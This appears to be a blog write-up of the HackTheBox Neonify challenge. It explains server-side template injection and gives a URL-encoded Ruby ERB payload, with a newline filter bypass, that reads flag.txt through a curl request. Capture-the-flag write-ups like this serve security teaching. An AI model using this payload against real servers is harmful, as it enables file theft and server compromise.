We covered Server Side Template Injection vulnerability and demonstrated a practical scenario using HackTheBox Neonify web challenge. SSTI is a server side exploit in which user input is parsed directly to the template engine without validation. In the example we covered, the code contained a regular expression filter to rule out bad characters so we used a newline character and encoded a payload using URL encoding to reveal the flag contents.. This was part of HackTheBox Neonify.
It’s time for a shiny new reveal for the first-ever text neonifier. Come test out our brand new website and make any text glow like a lo-fi neon tube!
What is SSTI?
Server-Side Template Injection (SSTI) occurs when user input is unsafely embedded in server-side templates. Attackers exploit this to inject malicious template code, which gets executed on the server. This can lead to Remote Code Execution (RCE), data leakage, or full server compromise.
How Template Engines Work
Common template engines used in web apps:
- Python: Jinja2, Mako
- PHP: Twig
- Java: Thymeleaf, Velocity
- Node.js: EJS, Pug
- Ruby: ERB, Slim
When user input is rendered directly in templates like:
<%= params[:username] %> <!-- in Ruby ERB -->
and not sanitized, it may allow template code to execute.
SSTI Detection Example
Let’s say an input field reflects back what you input, like:
Hello {{username}}
Test Input:
{{7*7}}
Expected Output (Vulnerable):
Hello 49
This confirms SSTI is present, as the expression was evaluated.
Exploiting SSTI
- We used this SSTI payload to read and reveal sensitive files
<%= File.open('flag.txt').read %
The payload should be URL-Encoded with a newline character.
An example request can be sent with curl using the below command to reveal the flag.
curl -d 'neon=a
%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E' ip:port